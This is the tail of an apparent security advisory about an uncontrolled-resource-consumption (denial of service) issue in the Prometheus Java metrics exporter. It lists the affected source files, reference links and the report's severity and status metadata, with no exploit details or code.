prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java(lines 50-73)prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java(lines 43-55)prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java(lines 339-347)OWASP: Denial of Service: https://owasp.org/www-community/attacks/Denial_of_Service
Java API: ThreadPoolExecutor: https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html
Prometheus Scrape Configuration --
paramsfield: https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_configReported by: Security Research Team
Date: 2026-06-24
Severity: High (CVSS 7.5)
CWE: CWE-400 (Uncontrolled Resource Consumption)
Status: Unpatched (as of version 1.8.0)